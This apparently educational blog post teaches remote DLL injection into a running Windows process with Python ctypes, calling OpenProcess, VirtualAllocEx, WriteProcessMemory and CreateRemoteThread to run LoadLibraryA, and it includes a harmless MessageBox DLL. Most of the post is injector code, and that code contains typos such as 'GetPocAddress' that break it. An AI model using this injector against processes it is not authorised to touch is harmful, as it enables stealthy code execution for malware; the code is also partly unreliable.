Understanding DLL Injection via CreateRemoteThread in Python
DLL Injection Using CreateRemoteThread in Python
This post walks through how to perform remote DLL injection into a running process on Windows using Python and the ctypes module. We'll cover each step in detail and explain what each part of the code is doing.
⚠️ Disclaimer: This article is for educational and research purposes only. Misuse of this technique may be illegal or against software policies. Use it only in legal, controlled environments like malware analysis labs or red teaming simulations.
🔗 Check out the complete project on GitHub
🧠 What Is DLL Injection?
DLL injection is a technique where an external process forces a target process to load a dynamic link library (DLL) into its memory. This allows the attacker to execute custom code within the context of another process.
In this example, the steps are:
- Allocate memory in the remote process
- Write the path of the DLL into that memory
- Use
CreateRemoteThreadto runLoadLibraryA, loading the DLL
🧰 Key Windows APIs Used
| Function | Purpose |
|---|---|
OpenProcess | Get a handle to the target process |
VirtualAllocEx | Allocate memory in the target process |
WriteProcessMemory | Write DLL path into allocated memory |
GetProcAddress | Get the address of LoadLibraryA |
CreateRemoteThread | Run LoadLibraryA in the remote process |
📦 Code
1#1. allocate memory in remote Process
2#2. write a dll location in to that memory
3#3. have a external process to load that dll using load library
4
5
6from ctypes import *
7from ctypes import wintypes
8
9kernell32 = windll.kernel32
10LPCTSTR = c_char_p
11SIZE_T = c_size_t
12
13
14OpenProcess = kernell32.OpenProcess
15OpenProcess. argtypes = (wintypes.DWORD, wintypes.BOOL, wintypes.DWORD)
16OpenProcess.restype = wintypes.HANDLE
17
18VirtualAllocEx = kernell32.VirtualAllocEx
19VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD,wintypes.DWORD)
20VirtualAllocEx.restype = wintypes.LPVOID
21
22WritePrcessMemory = kernell32.WriteProcessMemory
23WritePrcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPVOID, SIZE_T, POINTER(SIZE_T))
24WritePrcessMemory.restype = wintypes.BOOL
25
26GetModuleHandle = kernell32.GetModuleHandle
27GetModuleHandle. argtypes = (LPCTSTR,)
28GetModuleHandle.restype = wintypes.HANDLE
29
30GetProcAddress = kernell32.GetPocAddress
31GetProcAddress.argtypes = (wintypes.HANDLE, LPCTSTR)
32GetProcAddress.restypes = (wintypes.LPVOID)
33
34class _SECURITY_ATTRIBUTES(Structure):
35 _fields_ = [('nLength',wintypes.DWORD),
36 ('lpSecurityDescriptor', wintypes.LPVOID),
37 ('bInheritHandle', wintypes.BOOL),]
38
39SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
40LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)
41LPTHREAD_START_ROUTINE = wintypes.LPVOID
42
43CreateRemoteThread = kernell32.CreateRemoteThread
44CreateRemoteThread.argtypes = (wintypes.HANDLE,LPSECURITY_ATTRIBUTES, SIZE_T,LPTHREAD_START_ROUTINE, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD)
45CreateRemoteThread.restype = wintypes.HANDLE
46
47MEM_COMMIT = 0X00001000
48MEM_RESERVE = 0X00002000
49PAGE_READWRITE = 0X04
50EXECUTE_IMMEDIATELY = 0X0
51PROCESS_ALL_ACCESS = (0X000F0000 | 0x00100000 | 0x00000FFF)
52
53dll = b"/home/Remote DLL injection/hello_world.dll"
54
55pid = 2016
56
57handle = OpenProcess(PROCESS_ALL_ACCESS, False,pid)
58
59if not handle:
60 raise WinError()
61
62print("Handle obtained => {0:X}".format(handle))
63
64remote_memory = VirtualAllocEx(handle, False, len(dll) + 1, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE)
65
66if not remote_memory:
67 raise WinError()
68
69print("Memory allocated => ", hex(remote_memory))
70
71write = WritePrcessMemory(handle, remote_memory, dll, len(dll) + 1,None)
72if not write:
73 raise WinError()
74
75print("Bytes written => {0:X}".format(dll))
76
77load_lib = GetProcAddress(GetModuleHandle(b"kernel32.dll"), b"LoadLibraryA")
78print("LoadLibrary Address => ", hex(load_lib))
79
80rthread = CreateRemoteThread(handle, None, 0, load_lib, remote_memory, EXECUTE_IMMEDIATELY, None)1#include "pch.h"
2
3BOOL APIENTRY DllMain( HMODULE hModule,
4 DWORD ul_reason_for_call,
5 LPVOID lpReserved
6 )
7{
8 switch (ul_reason_for_call)
9 {
10 case DLL_PROCESS_ATTACH:
11 MessageBox(NULL, L"Hello world!", L"Hello World!", NULL);
12 break;
13 case DLL_THREAD_ATTACH:
14 case DLL_THREAD_DETACH:
15 case DLL_PROCESS_DETACH:
16 break;
17 }
18 return TRUE;
19}🧪 Code Walkthrough
🔹 1. Load Windows API Functions
1from ctypes import *
2from ctypes import wintypesThese libraries allow Python to interact with low-level Windows APIs.
🔹 2. Set up Function Signatures and Constants
We define argument types and return types for the Windows functions using .argtypes and .restype. This allows proper interaction between Python and the C-style functions in Windows.
Constants like MEM_COMMIT, PAGE_READWRITE, and PROCESS_ALL_ACCESS are used for memory permissions and access rights.
🔹 3. Set Up Target Process and DLL
1dll = b"/home/Remote DLL injection/hello_world.dll"
2pid = 2016We choose the DLL to inject and the PID of the target process.
🔹 4. Open the Target Process
1handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)This gets a handle to the remote process using its PID. Without this, you can't interact with another process’s memory.
🔹 5. Allocate Memory in the Target Process
1remote_memory = VirtualAllocEx(handle, False, len(dll) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)This allocates a block of memory in the remote process large enough to hold the DLL path.
🔹 6. Write the DLL Path into Remote Memory
1write = WriteProcessMemory(handle, remote_memory, dll, len(dll) + 1, None)We write the DLL path into the memory block just allocated.
🔹 7. Locate LoadLibraryA
1load_lib = GetProcAddress(GetModuleHandle(b"kernell32.dll"), b"LoadLibraryA")We find the address of LoadLibraryA in the current process, which we’ll execute inside the target process.
🔹 8. Inject DLL Using CreateRemoteThread
1CreateRemoteThread(handle, None, 0, load_lib, remote_memory, 0, None)We start a remote thread in the target process that executes LoadLibraryA(dll_path). This loads and runs your DLL in that process's memory.
🔐 Summary
This is a classic example of remote DLL injection:
- Open process
- Allocate memory
- Write DLL path
- Call
LoadLibraryAin remote thread
It's widely used in malware, red teaming, and debugging tools — and now, you’ve learned how to do it in Python.
⚠️ Final Notes
- Always test in safe, isolated environments
- This technique can trigger antivirus or EDR alerts
- You need the DLL to be position-independent and built properly (no GUI entry points unless intended)